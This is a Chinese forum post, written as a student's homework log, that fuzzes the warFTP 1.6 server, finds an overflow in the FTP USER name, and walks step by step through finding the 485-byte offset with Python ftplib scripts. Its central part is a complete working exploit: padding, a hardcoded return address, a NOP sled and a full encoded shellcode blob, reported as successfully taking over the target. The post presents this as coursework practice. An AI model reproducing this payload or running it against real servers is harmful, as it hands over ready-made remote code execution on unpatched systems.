原来死是这么一回事,事到如今什么都不重要了,只是遗憾没有更多的时间说几句话。 收藏本站
登陆 / 注册 搜索

阅读: 5.9K   回复: 4

[# 网络安全] Python 探测 warFTP 漏洞

小执念 古黑浩劫论坛大牛 2016-1-2 15:39 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员

  今天,老师布置了作业,涉及漏洞的利用和分析。我一点也不敢懈怠。下课后告别小倩回到家中,匆匆吃完饭后就坐在电脑前看老师推荐的Fusser。

  在网站上下载了一个Fusser 1.0,直接在命令行下敲fuzzer.py ,就会给出使用帮助 信息,即主机IP、端口、探测协议。如下图。

Python 探测 warFTP 漏洞 QQ截图20160102152348.png

  我琢磨如何利用它进行自动探测呢?想了想,不如把warFTP安装好,直接测试!
  再下载了一个warFTP 1.6版本,安装后其界面如下图。同样简洁明了,但没有CCProxy 那样规范,有点随意化。

Python 探测 warFTP 漏洞 QQ截图20160102152357.png


  输入fuzzer.py 192.168.3.151 21 ftp,尝试着测试一下FTP协议,哇! 一下就报出探测到漏洞了: Bug found,如下图。自动化就是好啊!

Python 探测 warFTP 漏洞 QQ截图20160102152409.png


  根据提示,看来是处理User名的时候有溢出问题!于是边回忆老师讲的内容,边用Python构造字符串实现定位。看了看Python的帮助,自己试着写了个FTP协议的探测程序。首先加载FTP协议包,然后连接FTP,发送超长的用户名,程序如下:

[mw_shl_code=python,true]from ftplib import FTP
ftp = FTP('192.168.3.151')
ftp.login( 'A'*500,'ww')[/mw_shl_code]

  哈哈,一下子就成功了! warFTP没有反应,挂掉了。如老师所说,有了一门语言的基础,对比学习另一门语言,是个很快的过程。

  看来500个字节的用户名实现了溢出,但没有出错对话框弹出,所以要用OllyDbg来帮助定位。我先重新启动warFtp,再用Ollydbg加载程序。如下图。

Python 探测 warFTP 漏洞 QQ截图20160102152419.png


Python 探测 warFTP 漏洞 QQ截图20160102152424.png


  重新执行刚才的程序,这下Ollydbg截获了异常! 41414141不能执行,就是我们发送的字符串。如下图。

Python 探测 warFTP 漏洞 QQ截图20160102152432.png


  重启warFTP,我发现只需用“Debug”菜单下的“Restart”就可重新启动并加载程序了,而且加的注释也不会丢失,如下图。这下方便多了!

Python 探测 warFTP 漏洞 QQ截图20160102152438.png


  一不小心就发现了一个小技巧,我暗自得意了一会儿,然后就考虑定位了。

  经过这学期的学习,定位的方法我已经牢牢掌握了。首先定位百位,ABCDE各占100,程序如下:

[mw_shl_code=python,true]from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*100 + 'B'*100+'C'*100+'D'*100+'E'*100
ftp.login( s,'ww')[/mw_shl_code]

  Ollydbg截获异常,如下图。

Python 探测 warFTP 漏洞 QQ截图20160102152447.png


  0x45454545不能执行,0x45是“E”,E—A=4,即是400多的地方到达异常点。 百位是4,再定位十位。先是400个A,然后在ABCD……各发10个,程序如下:

[mw_shl_code=python,true]from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*400 +'A'*10 + 'B'*10+'C'*10+'D'*10+'E'*10+'F'*10+'G'*10+'H'*10+'I'*10+'J'*10
ftp.login( s,'ww')[/mw_shl_code]

  这次是49到达返回点,如下图。49 —41 = 8,就是80多。

Python 探测 warFTP 漏洞 QQ截图20160102152454.png


  最后一次,定位个位。先是480个A,然后是“’ABCDEFGHIJ’”,程序如下:

[mw_shl_code=python,true]
from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*400 +'A'*80+ 'ABCDEFGHIJ'
ftp.login( s,'ww')[/mw_shl_code]


  这次是46474849到达返回点,截获的图如下图。

Python 探测 warFTP 漏洞 QQ截图20160102152504.png


  所以个位是0x46 — 0x41 = 5。400 + 80 + 5 = 485!我们把485的地方改为BBBB,其余全为AAAA,检验一下。

[mw_shl_code=python,true]from ftplib import FTP
ftp = FTP('192.168.3.151')
s = 'A'*485 +'BBBB'+'AAAA'
ftp.login( s,'ww')[/mw_shl_code]

  测试,果然是42424242报错!轻松搞定定位溢出点!

  然后就考虑利用了,构造是:USER A*485 + RET + ShellCode。


  在Python中,直接加ShellCode就可以了,构造起来真爽!嗯?怎么有不能写的错误,如下图。

Python 探测 warFTP 漏洞 QQ截图20160102152513.png


  添几个 N0P 看看,改进构造为:USER A*485 + RET + 32 个 Nop + ShellCode 程序如下:

[mw_shl_code=python,true]from ftplib import FTP
ftp = FTP('192.168.3.151')
sc = 'A'*485 +'\x12\x45\xFA\x7F' + '\x41'*32
sc += "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc +="\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc +="\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
sc +="\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
sc +="\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
sc +="\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc +="\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc +="\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc +="\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
sc +="\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc +="\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc +="\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc +="\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc +="\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc +="\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc +="\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc +="\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc +="\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc +="\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc +="\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc +="\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc +="\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc +="\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc +="\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc +="\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
ftp.login( sc,'ww')[/mw_shl_code]

  成功利用!如下图.

Python 探测 warFTP 漏洞 QQ截图20160102152533.png


  好了,现在来分析分析漏洞了,不熟悉的地方开始了。

  按老师讲的方法,在溢出时记下保存返回地址的ESP值,ESP=00BBFD5C,然后设置写断点,看是哪个函数保存返回地址在那个ESP值中!

  在Ollydbg中,用ALT+M弹出断点设置框,也可设置内存写断点。但是,设置后有无数的指令对00BBFD5C 处的值进行了写操作。中断倒是中断了很多次,但次数太多了,根本不知道是哪个函数的操作。郁闷!调了半天都没调出来,还有其他课也布置了作业。没办法,下节课问老师吧!


雾月 「出类拔萃」 2017-9-27 08:00 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

顶起出售广告位
巴黎环抱的花海 「龙战于野」 2018-5-4 23:27 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

解释就系掩饰,掩饰等于无出色,无出色不如回家休息!!!
放我一个人生活 「出类拔萃」 2018-5-12 15:13 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

我身在江湖,江湖里却没有我得传说。
您需要登录后才可以回帖 登录 | 注册账号  

本版积分规则

关于本站|大事记|小黑屋|古黑论 网站统计

GMT+8, 2020-9-28 02:44 , Processed in 0.038159 second(s), 20 queries , Redis On.

© 2015-2020 GuHei.Net

Powered by Discuz! X3.4

快速回复 返回列表